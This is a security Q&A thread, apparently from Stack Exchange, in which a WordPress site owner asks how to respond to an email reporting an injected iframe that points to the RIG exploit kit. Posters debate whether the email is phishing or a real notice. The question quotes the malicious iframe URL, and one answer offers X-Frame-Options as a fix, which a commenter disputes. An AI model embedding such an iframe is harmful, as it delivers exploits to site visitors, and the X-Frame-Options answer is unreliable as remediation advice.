3

I have received a mail from a certain Security Incident Response Team on behalf of a US Department and it says,

The below URL is currently being used to deliver a payload of malicious software to a visiting victim’s computer. The current malicious payload appears to be on a server under your control and we are working on behalf of US Department of Health and Human Services (HHS) to remove the infectious content.

The above URL has been compromised, code containing a malicious iframe that points to the RIG exploit kit has been added to the website. A sample of the iframe pointing to the RIG exploit kit is below.

3) On a Linux or Mac system, open the Terminal and execute the following command after removing all bracket characters – these: [] – and changing all instances of "hXXp" to "http":

curl -H "Referer:hXXp://www[.]ourhostedweb[.]com/index[.]php/url-name/" -H "User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" "hXXp://www.victimweb[.]com/"

Search for the term "iframe" in the returned source code. There will be an iframe on line 105 whose source URL is the exploit kit content. Currently this content is being sourced from www[.]ourhostedweb[.]com – this may change at any time as long as the site remains compromised.

and the line number 105 contains the following iframe code:

<iframe src="http://gone.MDVEND.COM/?oq=m3WpvAoLeZRbFLhhUPULVAwn45aBlIX_qmnhkjUyRDK1sWA-xOKUTp1u9CWUbI&es_sm=147&q=wXjQMvXcJwDQD4bGMvrESLtNNknQA0KK2Iv2_dqyEoH9fmnihNzUSkr26B2aC&ie=Windows-1252&sourceid=yandex&aqs=yandex.114e103.406b1a7" width="258" height="266"></iframe>

Edit given contact in the mail Email: alert@internetidentity.com Office: +1.253.590.4100 x0 | Fax: +1.888.239.6932 x0

The site is developed by using Wordpress.

What are the necessary actions I can take for this?

  • 2
    Did you copy and paste the content of the email directly, or did you rewrite portions of it? The line "working on behalf of US Department...." is suspicious. For instance, what Department? – schroeder Dec 23 '16 at 7:20
  • I copy and pasted the reason for me is this is suspicious too. – mapmalith Dec 23 '16 at 7:21
  • So, the email said, "working on behalf of US Department...." exactly? Do you use OurHostedWeb as a hosting service? I'm trying to figure out what's real and what isn't in the email. I want to say it might be phishing, but because you hid the details I can't determine what their goal is. I want to say that they are actually trying to get you to download and run malware on your computer, but I can't say for certain without details. – schroeder Dec 23 '16 at 7:22
  • 7
    Calls do not make it legitimate. Multi-phased social engineering attacks use calls to follow emails to make the email seem legitimate. They may only be asking for code removal now, but they may be asking for more from you soon. For instance, if they were the ones who uploaded the bad code in the first place, you could remove it, then they put it back then tell you to download and use their 'tool' to fix the problem, which of course would be malware. – schroeder Dec 23 '16 at 7:44
  • 1
    None of this makes any obvious sense. Why is someone "working on behalf of" U.S. DHHS randomly making contact with OP's company out of the blue to inform them of this? Even if they did would they purport to give specific instructions to find and remove compromised code instead of merely informing the recipient that a server appears to be hosting malicious code and the company should initiate an incident response investigation and remediation? Either OP is still omitting important facts for context or this smells very fishy – mostlyinformed Dec 29 '16 at 20:59
6

Just by reading the first paragraph, I'm now 99.9% sure that this is a phishing mail.

tl;dr: Ignore it.

  • 1
    The content was 'edited' by the OP. It takes a different tone now. – schroeder Dec 28 '16 at 21:19
  • 1
    I disagree. Evidence points to the fact this is a legitimate message. – Herringbone Cat Jan 19 '17 at 22:44
2

It looks like this e-mail is likely to be legitimate.

If you google "alert@internetidentity.com," you see numerous folks over many years talking about how they've received similar messages for a wide range of vulnerabilities, which really did exist on their servers.

My best guess is that these messages are automatically generated in response to the IID (now Infoblox) company's scanning of the internet. They detect various known security exploits, and trigger e-mails to the administrators to notify of them.

It may be part of their efforts to be a "good citizen" of the internet and help cleanup botnets and exploitable servers by making administrators aware. Or, they could be under contract by HHS and if they are DDoSed, brute forced, or scanned from an address; their policy could be to notify the administrator and shut off that channel from the malicious actor.

I see no evidence from the cURL code presented that it could be used to exploit your server. Rather, it's giving you instructions on how to see how your server is potentially compromised.

In this instance I think the correct response may well be, "Thank you."

1

Aside from the email's origins and legitimacy which has been thoroughly discussed, the poster's actual question is, What are the necessary actions I can take for this?.

To answer that question, you should add the X-FRAME-OPTIONS: Deny (or Origin - to only allow embedding from your domain) header to your your HTTP responses. That way, if a user visits the compromised page which is masquerading as yours, the browser will not load the iFrame and then the malicious party's scheme will fail.

  • 1
    Actually they should remove the exploit entirely... – Alexander O'Mara Jan 19 '17 at 23:24
1

First off, why is some party on behalf of HHS contacting you?

  • Are you under HIPAA legislation?
  • Who exactly is addressed in the email?
  • Who sent the email?
  • What domain are they sending it from?
  • Have you inspected the email headers (source)?
  • What business do you have with HHS?

Notice how you are instructed in the very same email notifying you of a potential problem. Where's a public entry for such an "exploit"? There's no reference to a CVE entry or other such informational page.

The phone numbers are also publicly listed, so who is to say someone didn't just copy paste them?

http://gone.mdvend.com/ returns a Server not found where as mdvend.com returns a parked Godaddy page.

Either you have omitted serious important details, or things are clearly not adding up, which points towards a phishing attack.

http://www.cvedetails.com/

https://support.infoblox.com/app/answers/detail3/a_id/75

  • 1
    The correct acronym is HIPAA. Also, generally CVE's are not issued for exploits like this, which appears to be XSS and targeted..it's just a general XSS exploit. In addition, mdvend is identified as part of the exploit they identify..so yes, you'd expect that results. Not sure where your conclusion leads here? – Herringbone Cat Jan 19 '17 at 22:38
-1

This is not the way the public sector works. Phishing. Delete and move on.

  • 1
    it's not the public sector ("on behalf of") - and where is the phishing? – schroeder Dec 28 '16 at 21:10
  • Exactly - "on behalf of"... we are working for them. Phishing via the email and phone. Maybe in the iframe as well... didn't inspect it. Even if it's not phishing the point remains that this is not legit. Again, this is not how the gov works. – user1801810 Dec 29 '16 at 19:32
  • 1
    You aren't reading the text. It isn't the gov that is contacting them. – schroeder Dec 29 '16 at 19:41

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.